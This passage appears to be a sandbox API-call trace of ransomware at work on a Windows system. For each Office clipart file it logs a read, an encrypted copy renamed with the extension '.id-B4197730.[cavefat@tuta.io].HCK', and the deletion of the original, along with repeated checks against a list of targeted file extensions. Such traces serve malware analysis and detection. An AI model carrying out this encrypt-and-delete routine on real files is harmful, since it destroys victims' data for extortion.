lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.178] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.178] SetEndOfFile (hFile=0x4cc) returned 1 [0229.178] CloseHandle (hObject=0x4cc) returned 1 [0229.178] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.178] SetEndOfFile (hFile=0x454) returned 1 [0229.180] CloseHandle (hObject=0x454) returned 1 [0229.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0229.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.181] lstrlenW (lpString=".doc") returned 4 [0229.181] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.181] lstrlenW (lpString=".docx") returned 5 [0229.181] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0229.181] lstrlenW (lpString=".pdf") returned 4 [0229.181] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.181] lstrlenW (lpString=".xls") returned 4 [0229.181] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.181] lstrlenW (lpString=".xlsx") returned 5 [0229.181] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0229.181] lstrlenW (lpString=".ppt") returned 4 [0229.181] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.181] lstrlenW (lpString=".zip") returned 4 [0229.181] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.181] lstrlenW (lpString=".rar") returned 4 [0229.182] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString=".bz2") returned 4 [0229.182] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString=".7z") returned 3 [0229.182] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".dbf") returned 4 [0229.182] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".1cd") returned 4 [0229.182] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".jpg") returned 4 [0229.182] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".doc") returned 4 [0229.182] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString=".docx") returned 5 [0229.182] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0229.182] lstrlenW (lpString=".pdf") returned 4 [0229.182] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString=".xls") returned 4 [0229.182] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString=".xlsx") returned 5 [0229.182] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0229.182] lstrlenW (lpString=".ppt") returned 4 [0229.182] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".zip") returned 4 [0229.182] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString=".rar") returned 4 [0229.182] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.182] lstrlenW (lpString=".bz2") returned 4 [0229.182] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString=".7z") returned 3 [0229.182] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".dbf") returned 4 [0229.182] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".1cd") returned 4 [0229.182] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0229.182] lstrlenW (lpString=".jpg") returned 4 [0229.183] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.183] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.183] lstrlenW (lpString="J0099203.GIF") returned 12 [0229.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.183] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3904) returned 1 [0229.183] CloseHandle (hObject=0x454) returned 1 [0229.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0229.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.184] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.184] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0229.185] GetLastError () returned 0x0 [0229.185] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xf40, lpOverlapped=0x0) returned 1 [0229.186] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xf50, lpOverlapped=0x0) returned 1 [0229.187] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.187] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.187] SetEndOfFile (hFile=0x4cc) returned 1 [0229.187] CloseHandle (hObject=0x4cc) returned 1 [0229.187] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.187] SetEndOfFile (hFile=0x454) returned 1 [0229.189] CloseHandle (hObject=0x454) returned 1 [0229.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0229.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.190] lstrlenW (lpString=".doc") returned 4 [0229.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.190] lstrlenW (lpString=".docx") returned 5 [0229.190] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0229.190] lstrlenW (lpString=".pdf") returned 4 [0229.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.190] lstrlenW (lpString=".xls") returned 4 [0229.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.190] lstrlenW (lpString=".xlsx") returned 5 [0229.190] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0229.190] lstrlenW (lpString=".ppt") returned 4 [0229.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.190] lstrlenW (lpString=".zip") returned 4 [0229.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.190] lstrlenW (lpString=".rar") returned 4 [0229.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString=".bz2") returned 4 [0229.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString=".7z") returned 3 [0229.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".dbf") returned 4 [0229.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".1cd") returned 4 [0229.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".jpg") returned 4 [0229.191] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".doc") returned 4 [0229.191] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString=".docx") returned 5 [0229.191] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0229.191] lstrlenW (lpString=".pdf") returned 4 [0229.191] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString=".xls") returned 4 [0229.191] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString=".xlsx") returned 5 [0229.191] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0229.191] lstrlenW (lpString=".ppt") returned 4 [0229.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".zip") returned 4 [0229.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString=".rar") returned 4 [0229.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.191] lstrlenW (lpString=".bz2") returned 4 [0229.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString=".7z") returned 3 [0229.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".dbf") returned 4 [0229.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".1cd") returned 4 [0229.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0229.191] lstrlenW (lpString=".jpg") returned 4 [0229.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.192] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.192] lstrlenW (lpString="J0099204.WMF") returned 12 [0229.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.192] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=17854) returned 1 [0229.192] CloseHandle (hObject=0x454) returned 1 [0229.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0229.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.193] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.193] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0229.194] GetLastError () returned 0x0 [0229.194] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x45be, lpOverlapped=0x0) returned 1 [0229.430] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0229.432] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.432] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.432] SetEndOfFile (hFile=0x4cc) returned 1 [0229.668] CloseHandle (hObject=0x4cc) returned 1 [0229.754] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.754] SetEndOfFile (hFile=0x454) returned 1 [0229.756] CloseHandle (hObject=0x454) returned 1 [0229.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0229.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.959] lstrlenW (lpString=".doc") returned 4 [0229.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.959] lstrlenW (lpString=".docx") returned 5 [0229.959] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0229.959] lstrlenW (lpString=".pdf") returned 4 [0229.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.959] lstrlenW (lpString=".xls") returned 4 [0229.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.959] lstrlenW (lpString=".xlsx") returned 5 [0229.959] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0229.959] lstrlenW (lpString=".ppt") returned 4 [0229.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.959] lstrlenW (lpString=".zip") returned 4 [0229.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.959] lstrlenW (lpString=".rar") returned 4 [0229.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.959] lstrlenW (lpString=".bz2") returned 4 [0229.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.959] lstrlenW (lpString=".7z") returned 3 [0229.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.959] lstrlenW (lpString=".dbf") returned 4 [0229.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".1cd") returned 4 [0229.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".jpg") returned 4 [0229.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".doc") returned 4 [0229.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString=".docx") returned 5 [0229.960] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0229.960] lstrlenW (lpString=".pdf") returned 4 [0229.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString=".xls") returned 4 [0229.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.960] lstrlenW (lpString=".xlsx") returned 5 [0229.960] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0229.960] lstrlenW (lpString=".ppt") returned 4 [0229.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".zip") returned 4 [0229.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.960] lstrlenW (lpString=".rar") returned 4 [0229.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString=".bz2") returned 4 [0229.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString=".7z") returned 3 [0229.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".dbf") returned 4 [0229.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".1cd") returned 4 [0229.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0229.960] lstrlenW (lpString=".jpg") returned 4 [0229.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.960] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.960] lstrlenW (lpString="J0102762.WMF") returned 12 [0229.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.039] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11216) returned 1 [0230.039] CloseHandle (hObject=0x4d4) returned 1 [0230.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0230.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.105] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.105] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0231.637] GetLastError () returned 0x0 [0231.637] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0231.648] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0231.649] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.649] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.649] SetEndOfFile (hFile=0x4c4) returned 1 [0231.650] CloseHandle (hObject=0x4c4) returned 1 [0231.650] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 